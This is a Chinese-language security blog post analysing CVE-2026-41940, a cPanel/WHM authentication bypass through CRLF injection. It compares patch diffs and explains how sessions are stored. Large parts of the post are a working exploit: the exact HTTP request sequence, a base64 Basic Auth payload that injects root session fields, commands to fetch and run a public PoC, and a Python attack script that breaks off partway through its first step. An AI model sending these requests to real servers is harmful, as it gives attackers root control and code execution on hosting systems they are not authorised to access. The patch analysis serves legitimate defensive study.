CVE-2026-41940:cPanel/WHM认证绕过漏洞深度分析

admin 2026-05-03 05:03:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文分析cPanel/WHM认证绕过漏洞CVE-2026-41940,根因为登录流程CRLF注入缺陷。攻击者利用恶意BasicAuth头与Cookie截断,向预认证会话注入hasroot等字段,触发缓存晋升后绕过密码校验获取WHMroot权限实现RCE。建议立即升级。 综合评分: 85 文章分类: 漏洞分析,漏洞预警,WEB安全


cover_image

CVE-2026-41940:cPanel/WHM 认证绕过漏洞深度分析

原创

MY0723 MY0723

不秃头的安全

2026年5月1日 16:51 河北

在小说阅读器读本章

去阅读

CVE-2026-41940:cPanel/WHM 认证绕过漏洞深度分析

前言:本文中涉及到的相关技术或工具仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担,如有侵权请私聊删除。
知识星球和交流群在最下方。
需要cn*d(中高)/c2n*d(高与支撑单位)/安全证书请联系vx咨询

一、漏洞概述

2026年4月28日,安全研究机构 watchTowr Labs 的研究员 Sina Kheirkhah(@SinSinology)公开披露了 cPanel/WHM 中一个严重的认证绕过漏洞,编号 CVE-2026-41940

cPanel/WHM 是全球使用最广泛的服务器管理面板,被数百万网站托管商和服务器管理员使用。该漏洞允许未经认证的远程攻击者通过登录流程中的逻辑缺陷,绕过身份验证直接获得 WHM root 权限,进而实现远程代码执行(RCE)。

| 属性 | 信息 | | — | — | | 漏洞类型 | 认证绕过(Authentication Bypass)→ 远程代码执行(RCE) | | CVE编号 | CVE-2026-41940 | | CVSS评分 | 9.3/10(Critical) | | CWE分类 | CWE-306 关键功能未做认证 | | 发现者 | Sina Kheirkhah(@SinSinology)— watchTowr Labs | | 披露日期 | 2026-04-28 | | 影响版本 | cPanel & WHM 11.40 至补丁发布前所有版本 | | 利用条件 | 远程、无需认证、公网可直接利用 |

1.1 一句话理解漏洞

攻击者仅需发送4个HTTP请求,无需任何凭据,即可绕过登录验证直接获得WHM root权限,实现服务器完全控制。

1.2 背景

cPanel和WHM是控制面板解决方案,据统计运行着超过7000万个域名:

  • WHM 是管理界面——对服务器的根级访问、SSL证书、安全协议等
  • cPanel 是面向用户的单个托管账户面板

可以把它想象成:王国的钥匙(WHM),然后是王国内每个公寓的钥匙(cPanel)。如果王国是互联网,公寓是网站。


二、漏洞原理

2.1 根本原因

cPanel/WHM的登录流程中存在CRLF注入(回车换行注入)漏洞,攻击者可通过构造特殊的Basic Auth认证头和cookie参数,注入恶意HTTP头部,从而泄露安全令牌并绕过认证机制。

核心问题在于cPanel/WHM对登录流程中的HTTP头部缺少充分验证(CWE-306),导致攻击者可以在未认证的情况下获取有效的WHM会话令牌。

2.2 漏洞文件定位

watchTowr Labs通过补丁对比分析,识别出3个关键文件的变更:

| 文件 | 功能 | | — | — | | Cpanel/Session.pm | 会话保存器 (saver) | | Cpanel/Session/Load.pm | 会话加载器 (loader) | | Cpanel/Session/Encoder.pm | 新的十六进制往返原语 |

2.3 补丁代码对比

saveSession函数变更

修复前(漏洞版本)

sub saveSession {
    my ( $session, $session_ref, %options ) = @_;
    ...
    my $ob = get_ob_part( \$session );
    return 0 if !is_valid_session_name($session);

    my $encoder = $ob && Cpanel::Session::Encoder->new( 'secret' => $ob );
    local $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} )
      if $encoder && length $session_ref->{'pass'};
    ...
}

修复后(补丁版本)

sub saveSession {
    my ( $session, $session_ref, %options ) = @_;
    ...
    my $ob = get_ob_part( \$session );
    return0if !is_valid_session_name($session);

&nbsp; &nbsp; filter_sessiondata($session_ref); &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# <-- 新增

&nbsp; &nbsp;&nbsp;if&nbsp;(&nbsp;length&nbsp;$session_ref->{'pass'} ) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(&nbsp;defined&nbsp;$ob &&&nbsp;length&nbsp;$ob ) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;my&nbsp;$encoder = Cpanel::Session::Encoder->new(&nbsp;'secret'&nbsp;=> $ob );
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} );
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $session_ref->{'pass'} = &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# <-- 新增
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'no-ob:'&nbsp;. Cpanel::Session::Encoder->hex_encode_only( $session_ref->{'pass'} );
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }
&nbsp; &nbsp; ...
}

关键变更

  1. 新增filter_sessiondata()函数调用,过滤CRLF字符
  2. 新增$ob参数的存在性检查(defined $ob && length $ob
  3. $ob为空时,使用no-ob:前缀进行hex编码

2.4 filter_sessiondata函数详解

新增的filter_sessiondata函数是修复的核心,用于清除输入中的CRLF字符:

sub&nbsp;filter_sessiondata&nbsp;{
&nbsp; &nbsp;&nbsp;my&nbsp;($session_ref) = @_;
&nbsp; &nbsp;&nbsp;no&nbsp;warnings&nbsp;'uninitialized'; &nbsp; &nbsp;## no critic(ProhibitNoWarnings)

&nbsp; &nbsp;&nbsp;# 防止操纵会话文件中的其他条目(origin字段)
&nbsp; &nbsp;&nbsp;tr{\r\n=\,}{}d&nbsp;for&nbsp;values&nbsp;%{$session_ref->{'origin'}};

&nbsp; &nbsp;&nbsp;# 防止操纵会话文件中的其他条目(非origin字段)
&nbsp; &nbsp;&nbsp;tr{\r\n}{}d&nbsp;for&nbsp;@{$session_ref}{&nbsp;grep&nbsp;{ $_&nbsp;ne&nbsp;'origin'&nbsp;}&nbsp;keys&nbsp;%{$session_ref} };

&nbsp; &nbsp;&nbsp;# 清理可能的目录遍历(有效的'pass'可能包含这些字符)
&nbsp; &nbsp;&nbsp;tr{/}{}d for @{$session_ref}{ grep { exists $session_ref->{$_} } qw(user login_theme theme lang) };

&nbsp; &nbsp; return $session_ref;
}

函数作用示例

输入: pass = foo\nhasroot=1
输出: pass = foohasroot=1

2.5 会话文件格式解析

cPanel的会话管理采用双层文件结构:

/var/cpanel/sessions/
├── raw/ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 原始会话文件
│ &nbsp; └── 需要认证的会话存储在此
└── cache/ &nbsp; &nbsp; &nbsp; &nbsp;# 缓存会话文件
&nbsp; &nbsp; └── 已认证会话的JSON缓存

会话文件内容示例

通过错误登录请求触发创建的预认证会话文件:

$ cat /var/cpanel/sessions/raw/:Wg_mjzgt1hyfXefK
local_ip_address=172.17.0.2
external_validation_token=bOOwkwVzFsruooU0
cp_security_token=/cpsess7833455106
needs_auth=1
origin_as_string=address=172.17.0.1,app=whostmgrd,method=badpass
hulk_registered=0
tfa_verified=0
ip_address=172.17.0.1
local_port=2087
port=49254
login_theme=cpanel

会话文件字段说明

| 字段 | 说明 | | — | — | | local_ip_address | 本地IP地址 | | external_validation_token | 外部验证令牌 | | cp_security_token | cPanel安全令牌(格式:/cpsessXXXXXXXXXX) | | needs_auth | 是否需要认证(1=需要) | | origin_as_string | 来源信息(IP地址、应用、方法) | | tfa_verified | 双因素认证状态 | | login_theme | 登录主题 |

2.6 Cookie格式与$ob参数

Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa

URL解码后

whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa

| 部分 | 内容 | 说明 | | — | — | — | | : | 前缀 | 会话文件名前缀 | | Wg_mjzgt1hyfXefK | session name | 会话名称 | | , | 分隔符 | 区分session name和$ob | | 1bd3d4bf5ecbf83b660789ab0f3198fa | $ob值 | 32位十六进制会话密钥 |

$ob参数作用

$ob是每个会话的秘密密钥(obfuscation),用于对称编码密码字段,避免明文存储在磁盘上:

my&nbsp;$ob = get_ob_part( \$session ); &nbsp;# 从Cookie中提取$ob

my&nbsp;$encoder = Cpanel::Session::Encoder->new(&nbsp;'secret'&nbsp;=> $ob );
$session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} );

漏洞利用关键点

原始Cookie包含完整的$ob值,攻击者可以通过截断Cookie(去掉,ob部分)来触发特殊处理逻辑:

  1. $ob为空时,代码进入新的else分支
  2. 使用hex_encode_only而非正常的编码方式
  3. 配合CRLF注入,可以在会话文件中注入任意字段

2.7 攻击链全流程

┌─────────────────────────────────────────────────────────────┐
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;CVE-2026-41940 攻击链 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
├─────────────────────────────────────────────────────────────┤
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp;1. 铸造预认证会话 (Mint Preauth Session) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; → 获取 session base 令牌 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;2. CRLF注入 (Basic Auth + no-ob Cookie) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; → 注入恶意 HTTP 头部 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;3. HTTP 307重定向泄露安全令牌 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; → 获取 /cpsessXXXXXXXXXX 令牌 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;4. 触发 do_token_denied 传播令牌 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; → 将原始令牌写入缓存 (raw → cache) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;5. 使用泄露令牌访问 WHM API &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; → /json-api/version 返回 HTTP 200 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;6. 获得 WHM Root 权限 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; → 完全控制服务器 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;↓ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;7. 远程代码执行 (RCE) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; → 通过 WHM API 执行任意系统命令 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└─────────────────────────────────────────────────────────────┘

三、攻击流程详解

3.1 步骤1:铸造预认证会话

攻击者首先向cPanel/WHM的登录端口(2083/2087)发送请求,获取一个预认证会话的session base令牌。此步骤无需任何凭据。

发送请求

POST /login/?login_only=1 HTTP/1.1
Host: target:2087
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

user=root&pass=wrong

服务器响应

HTTP/1.1 401 Access Denied
Set-Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK%2c1bd3d4bf5ecbf83b660789ab0f3198fa; HttpOnly; path=/; port=2087; secure
Content-Type: text/plain; charset="utf-8"
Content-Length: 38

{"status":0,"message":"see_login_log"}

Cookie解码后

whostmgrsession=:Wg_mjzgt1hyfXefK,1bd3d4bf5ecbf83b660789ab0f3198fa

关键点:此时cpsrvd已创建预认证会话并写入磁盘,会话文件包含needs_auth=1等预发字段。

3.2 步骤2:CRLF注入

利用Basic Auth头部和截断cookie中的CRLF字符(\r\n),向服务器注入额外的HTTP头部。

构造注入载荷(Base64编码前)

root:x\r\n
hasroot=1\r\n
tfa_verified=1\r\n
user=root\r\n
cp_security_token=/cpsess9999999999\r\n
successful_internal_auth_with_timestamp=1777462149

Base64编码后

cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ==

发送请求

GET / HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK
Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCnRmYV92ZXJpZmllZD0xDQp1c2VyPXJvb3QNCmNwX3NlY3VyaXR5X3Rva2VuPS9jcHNlc3M5OTk5OTk5OTk5DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9MTc3NzQ2MjE0OQ==

关键点

  1. 截断Cookie(去掉,1bd3d4bf...部分),使$ob为空
  2. 通过Basic Auth头注入恶意会话属性
  3. 此时raw会话文件已被注入恶意键值对,但cache文件尚未更新

3.3 步骤3:触发Cache晋升

发送一个不带cp_security_token的请求,触发do_token_denied处理流程。

发送请求

GET /scripts2/listaccts HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK

响应:HTTP 401 Token Denied

后台处理流程

  1. nocache => 1模式重新读取raw文件(此时注入行被解析为独立键值对)
  2. 调用save()更新cache文件(注入的键值对晋升为JSON顶层字段)

cache文件内容变更

{
&nbsp;&nbsp;"pass":&nbsp;"x",
&nbsp;&nbsp;"hasroot":&nbsp;"1",
&nbsp;&nbsp;"tfa_verified":&nbsp;"1",
&nbsp;&nbsp;"user":&nbsp;"root",
&nbsp;&nbsp;"cp_security_token":&nbsp;"/cpsess9999999999",
&nbsp;&nbsp;"successful_internal_auth_with_timestamp":&nbsp;"1777462149"
}

3.4 步骤4:以Root身份访问

使用注入的cp_security_token发送认证请求:

GET /cpsess9999999999/json-api/version HTTP/1.1
Host: target:2087
Cookie: whostmgrsession=%3aWg_mjzgt1hyfXefK

check_authok_user()检测到successful_internal_auth_with_timestamp字段,直接返回认证成功,完全跳过密码校验:

if&nbsp;($AUTHOPTS{'successful_internal_auth_with_timestamp'}) {
&nbsp; &nbsp;&nbsp;return&nbsp;$Cpanel::Server::AUTH_OK,&nbsp;0; &nbsp;# 密码从未被验证
}

3.5 攻击流程时序图

攻击者 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cpsrvd &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;文件系统
│ &nbsp;POST /login (wrong pass) &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│─────────────────────────────►│ &nbsp;saveSession() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │────────────────────────────►│ &nbsp;raw/: needs_auth=1
│◄─────────────────────────────│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;Set-Cookie: session,ob &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;GET / (truncated cookie &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; + CRLF&nbsp;in&nbsp;Basic Auth) &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│─────────────────────────────►│ &nbsp;saveSession() &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp;$ob&nbsp;为空 → 不编码 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │────────────────────────────►│ &nbsp;raw/: user=root
│◄─────────────────────────────│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;hasroot=1
│ &nbsp;307 Redirect &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;tfa_verified=1
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;auth_timestamp=...
│ &nbsp;GET /scripts2/listaccts &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; (no security token) &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│─────────────────────────────►│ &nbsp;do_token_denied() &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp;read&nbsp;raw (nocache) &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │◄────────────────────────────│ &nbsp;注入行 → 独立键值对
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp;save() → update cache &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │────────────────────────────►│ &nbsp;cache/: JSON顶层字段
│◄─────────────────────────────│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;401 Token Denied &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;GET /cpsess.../json-api/ver &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│─────────────────────────────►│ &nbsp;loadSession() → cache &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp;check_authok_user() &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │ &nbsp;auth_timestamp → AUTH_OK &nbsp; │
│◄─────────────────────────────│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp;200 OK ← ROOT ACCESS &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│

四、漏洞复现

4.1 PoC工具使用

watchTowr Labs已在GitHub发布完整PoC工具:

下载地址:https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

使用方法

# 克隆仓库
git&nbsp;clone&nbsp;https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
cd&nbsp;watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

# 运行 PoC(需指定目标 WHM 地址)
python watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py --target https://target:2087/

PoC执行流程输出

[0] hostname = <target>
[1] minting a preauth session...
&nbsp; &nbsp; session base = :vQ2WC5Bexp0oFSa7
[2] sending the CRLF injection (Basic auth + no-ob cookie)...
&nbsp; &nbsp; HTTP 307, leaked token = /cpsess5691070609
[3] firing do_token_denied to propagate raw -> cache...
&nbsp; &nbsp; HTTP 401, gadget fired
[4] verifying we're WHM root...
&nbsp; &nbsp; /json-api/version -> HTTP 200 {"version":"11.110.0.89"}

4.2 完整测试脚本

#!/usr/bin/env python3
"""
CVE-2026-41940 cPanel/WHM 认证绕过漏洞利用脚本
来源: watchTowr Labs - Sina Kheirkhah (@SinSinology)

免责声明: 仅用于授权安全测试,未经授权使用属违法行为
"""

import&nbsp;argparse
import&nbsp;urllib3
import&nbsp;requests
import&nbsp;base64
import&nbsp;urllib.parse
import&nbsp;sys
import&nbsp;re

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class&nbsp;CVE202641940:
&nbsp; &nbsp;&nbsp;def&nbsp;__init__(self, target):
&nbsp; &nbsp; &nbsp; &nbsp; self.target = target.rstrip('/')
&nbsp; &nbsp; &nbsp; &nbsp; self.session = requests.Session()
&nbsp; &nbsp; &nbsp; &nbsp; self.session.headers.update({
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'User-Agent':&nbsp;'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
&nbsp; &nbsp; &nbsp; &nbsp; })
&nbsp; &nbsp; &nbsp; &nbsp; self.session_base =&nbsp;None

&nbsp; &nbsp;&nbsp;def&nbsp;step1_mint_preauth_session(self):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"""步骤1: 铸造预认证会话"""
&nbsp; &nbsp; &nbsp; &nbsp; print("[1] minting a preauth session...")

&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"{self.target}/login/?login_only=1"
&nbsp; &nbsp; &nbsp; &nbsp; data = {'user':&nbsp;'root',&nbsp;'pass':&nbsp;'wrong'}

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; resp = self.session.post(url, data=data, verify=False, timeout=30)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except&nbsp;requests.exceptions.RequestException&nbsp;as&nbsp;e:
